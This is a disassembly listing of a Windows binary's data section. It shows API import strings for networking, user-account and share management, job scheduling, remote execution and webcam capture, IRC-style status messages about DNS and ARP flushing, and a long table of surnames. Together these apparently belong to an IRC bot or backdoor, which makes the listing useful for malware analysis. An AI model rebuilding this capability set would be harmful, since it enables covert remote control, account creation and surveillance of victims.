sub_40B0C5+4D0o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40B0C5+4E3o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40B0C5+4F6o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40B0C5:loc_40B620o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40B0C5:loc_40B65Do align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40B0C5+5B0o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40B0C5+5C3o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40B0C5+5D6o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40B0C5+5E9o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40B0C5+5FCo align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40B0C5+60Fo align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40B0C5+622o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40B0C5+635o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40B0C5+648o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40B0C5:loc_40B792o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40B0C5+6E5o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40B0C5+6F8o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40B0C5+70Bo align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40B0C5+71Eo align 10h aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40B0C5+731o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40B0C5+744o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40B0C5+757o align 4 aSocket db 'socket',0 ; DATA XREF: sub_40B0C5+76Ao align 10h aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40B0C5+77Do aConnect db 'connect',0 ; DATA XREF: sub_40B0C5+790o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40B0C5+7A3o align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40B0C5+7B6o align 4 aHtons db 'htons',0 ; DATA XREF: sub_40B0C5+7C9o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40B0C5+7DCo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_40B0C5+7EFo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40B0C5+802o align 4 aSend_0 db 'send',0 ; DATA XREF: sub_40B0C5+815o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40B0C5+828o align 4 aRecv db 'recv',0 ; DATA XREF: sub_40B0C5+83Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40B0C5+84Eo align 10h aBind db 'bind',0 ; DATA XREF: sub_40B0C5+861o align 4 aSelect db 'select',0 ; DATA XREF: sub_40B0C5+874o align 10h aListen db 'listen',0 ; DATA XREF: sub_40B0C5+887o align 4 aAccept db 'accept',0 ; DATA XREF: sub_40B0C5+89Ao align 10h aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40B0C5+8ADo align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_40B0C5+8C0o aGethostname db 'gethostname',0 ; DATA XREF: sub_40B0C5+8D3o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40B0C5+8E6o align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40B0C5+8F9o align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_40B0C5+90Co aClosesocket db 'closesocket',0 ; DATA XREF: sub_40B0C5+91Fo aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40B0C5:loc_40BB48o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40B0C5+A9Bo align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40B0C5+AAEo aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40B0C5+AC1o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40B0C5+AD4o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40B0C5+AE7o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40B0C5+AFAo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40B0C5+B0Do align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40B0C5+B20o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40B0C5+B33o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40B0C5+B46o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40B0C5+BCEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40B0C5:loc_40BCD1o align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40B0C5+C20o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40B0C5+C33o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40B0C5+C46o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40B0C5:loc_40BD5Ao align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40B0C5+CADo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40B0C5+CC0o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40B0C5+CD3o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40B0C5+CE6o unk_444C4E db 0 ; DATA XREF: .XComp0:0045308Co db 0 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40B0C5+CF9o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40B0C5+D0Co align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40B0C5+D1Fo align 10h aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40B0C5+D32o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40B0C5+D45o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40B0C5+D58o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40B0C5+D6Bo align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_40B0C5+D7Eo aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40B0C5:loc_40BEDAo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40B0C5+E29o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40B0C5+E3Co align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40B0C5:loc_40BF47o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40B0C5+E96o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40B0C5+EA9o align 4 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40B0C5:loc_40BFB4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40B0C5+F03o aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40B0C5+F16o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40B0C5+F29o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40B0C5+F3Co align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40B0C5:loc_40C059o aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40B0C5+FA8o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40B0C5+FBBo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40B0C5:loc_40C0C6o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40B0C5+1019o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40B0C5+102Co align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40B0C5+103Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40B0C5+1052o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40B0C5+1065o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40B0C5+1078o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40B0C5:loc_40C1A7o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40B0C5+10F6o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40B0C5+1109o align 4 aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+18o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+55o aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+92o align 4 aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+CFo align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+10Co aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40C219+149o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40C219+186o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+1C3o align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40C219+200o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40C219+23Do align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+27Ao align 4 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+2B7o align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+2F4o aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40C219+331o align 4 unk_444FF4 db 2Dh ; - ; DATA XREF: sub_40C219:loc_40C578o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a__3: ; DATA XREF: .XComp0:0040C5F2o unicode 0, <.>,0 a__4: ; DATA XREF: .XComp0:0040C617o unicode 0, <.>,0 unk_44501C db 2Dh ; - ; DATA XREF: sub_40C6CF+B7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 unk_445048 db 2Dh ; - ; DATA XREF: sub_40C6CF:loc_40C7A0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_445078 db 2Dh ; - ; DATA XREF: sub_40C6CF:loc_40C7B9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_44509C db 2Dh ; - ; DATA XREF: sub_40C6CF:loc_40C7D2o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_4450CC db 2Dh ; - ; DATA XREF: sub_40C6CF+11Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C86E+42o align 8 aReal db 'real',0 ; DATA XREF: sub_40CE78+25o align 10h dd 0 dword_445114 dd 0 off_445118 dd offset sub_40C9C0 ; DATA XREF: sub_40CE78+65r aConst db 'const',0 align 8 dd 1, 40CA38h, 7474656Ch, 7265h, 0 dd 2, 40CAA0h, 706D6F63h, 2 dup(0) dd 3, 40CB01h, 6E756F63h, 797274h, 0 dd 4, 40CBEFh, 736Fh, 2 dup(0) dd 5, 40CC6Bh off_445180 dd offset aAbdulrazak ; DATA XREF: sub_40C9C0+1Fr ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" off_445344 dd offset aBloch ; DATA XREF: .XComp0:00452EC8o ; .XComp0:00453284o ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" off_445750 dd offset aFranz ; DATA XREF: .XComp0:0044B708o ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" 